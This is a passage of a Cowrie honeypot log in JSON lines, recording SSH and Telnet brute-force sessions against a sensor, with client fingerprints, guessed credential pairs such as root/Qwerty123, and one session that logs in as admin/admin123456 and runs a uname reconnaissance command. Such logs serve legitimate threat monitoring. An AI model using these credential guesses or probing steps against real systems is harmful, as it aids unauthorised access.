"ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:59.743894Z","src_ip":"45.153.34.112","session":"987de1bc3da9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpn","password":"vpn","message":"login attempt [vpn/vpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:59.990419Z","src_ip":"45.153.34.112","session":"987de1bc3da9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:01.194367Z","src_ip":"45.153.34.112","session":"987de1bc3da9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36832,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad22f5c9e667","protocol":"telnet","message":"New connection: 192.119.13.58:36832 (10.17.0.5:23) [session: ad22f5c9e667]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:02.775007Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":34784,"dst_ip":"10.17.0.5","dst_port":22,"session":"40f98e6ac2f8","protocol":"ssh","message":"New connection: 45.153.34.112:34784 (10.17.0.5:22) [session: 40f98e6ac2f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:03.405135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:03.410350Z","src_ip":"45.153.34.112","session":"40f98e6ac2f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:03.494576Z","src_ip":"45.153.34.112","session":"40f98e6ac2f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arthur","password":"arthur","message":"login attempt [arthur/arthur] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:03.746252Z","src_ip":"45.153.34.112","session":"40f98e6ac2f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:04.849194Z","src_ip":"45.153.34.112","session":"40f98e6ac2f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":34792,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd324afc017b","protocol":"ssh","message":"New connection: 45.153.34.112:34792 (10.17.0.5:22) [session: bd324afc017b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:07.019964Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:07.025831Z","src_ip":"45.153.34.112","session":"bd324afc017b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:07.109654Z","src_ip":"45.153.34.112","session":"bd324afc017b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty123","message":"login attempt [root/Qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:07.359512Z","src_ip":"45.153.34.112","session":"bd324afc017b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:08.457157Z","src_ip":"45.153.34.112","session":"bd324afc017b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":9999,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ddae07652e1","protocol":"ssh","message":"New connection: 2.57.121.25:9999 (10.17.0.5:22) [session: 1ddae07652e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:08.619817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:08.624231Z","src_ip":"2.57.121.25","session":"1ddae07652e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:08.723282Z","src_ip":"2.57.121.25","session":"1ddae07652e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.48807168006897,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:09.019913Z","src_ip":"192.119.13.58","session":"5b13f845c9de","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"130484","message":"login attempt [user/130484] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:09.199473Z","src_ip":"2.57.121.25","session":"1ddae07652e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"130383","message":"login attempt [user/130383] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:10.303338Z","src_ip":"2.57.121.25","session":"1ddae07652e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.33151888847351,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:10.531420Z","src_ip":"192.119.13.58","session":"374adae27df2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":38392,"dst_ip":"10.17.0.5","dst_port":22,"session":"52a954921f59","protocol":"ssh","message":"New connection: 45.153.34.112:38392 (10.17.0.5:22) [session: 52a954921f59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:10.687251Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:10.693209Z","src_ip":"45.153.34.112","session":"52a954921f59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:10.775394Z","src_ip":"45.153.34.112","session":"52a954921f59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"reza","password":"reza","message":"login attempt [reza/reza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:11.023729Z","src_ip":"45.153.34.112","session":"52a954921f59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"130286","message":"login attempt [user/130286] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:11.405915Z","src_ip":"2.57.121.25","session":"1ddae07652e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:12.111527Z","src_ip":"45.153.34.112","session":"52a954921f59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"13011995","message":"login attempt [user/13011995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:12.508613Z","src_ip":"2.57.121.25","session":"1ddae07652e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"13011994","message":"login attempt [user/13011994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:13.612823Z","src_ip":"2.57.121.25","session":"1ddae07652e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":38412,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e6f359f3541","protocol":"ssh","message":"New connection: 45.153.34.112:38412 (10.17.0.5:22) [session: 6e6f359f3541]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:14.371198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:14.385497Z","src_ip":"45.153.34.112","session":"6e6f359f3541","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:14.468957Z","src_ip":"45.153.34.112","session":"6e6f359f3541","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:14.716077Z","src_ip":"2.57.121.25","session":"1ddae07652e1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123456","message":"login attempt [admin/admin123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:14.727909Z","src_ip":"45.153.34.112","session":"6e6f359f3541","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.974119663238525,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:14.845619Z","src_ip":"192.119.13.58","session":"7e310b15c928","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:14.952012Z","src_ip":"45.153.34.112","session":"6e6f359f3541","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:14.956279Z","src_ip":"45.153.34.112","session":"6e6f359f3541","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:15.044555Z","src_ip":"45.153.34.112","session":"6e6f359f3541","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:15.051489Z","src_ip":"45.153.34.112","session":"6e6f359f3541","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":38430,"dst_ip":"10.17.0.5","dst_port":22,"session":"9fe59dd37397","protocol":"ssh","message":"New connection: 45.153.34.112:38430 (10.17.0.5:22) [session: 9fe59dd37397]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:17.890533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:17.911657Z","src_ip":"45.153.34.112","session":"9fe59dd37397","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:17.977171Z","src_ip":"45.153.34.112","session":"9fe59dd37397","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar","message":"login attempt [oscar/oscar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:18.298069Z","src_ip":"45.153.34.112","session":"9fe59dd37397","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:19.415211Z","src_ip":"45.153.34.112","session":"9fe59dd37397","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.63478422164917,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:19.966654Z","src_ip":"192.119.13.58","session":"a1994bd84e7b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":37038,"dst_ip":"10.17.0.5","dst_port":22,"session":"7cba47f39fe4","protocol":"ssh","message":"New connection: 45.153.34.112:37038 (10.17.0.5:22) [session: 7cba47f39fe4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:21.434725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:21.444916Z","src_ip":"45.153.34.112","session":"7cba47f39fe4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:21.528601Z","src_ip":"45.153.34.112","session":"7cba47f39fe4","protocol":"ssh"}
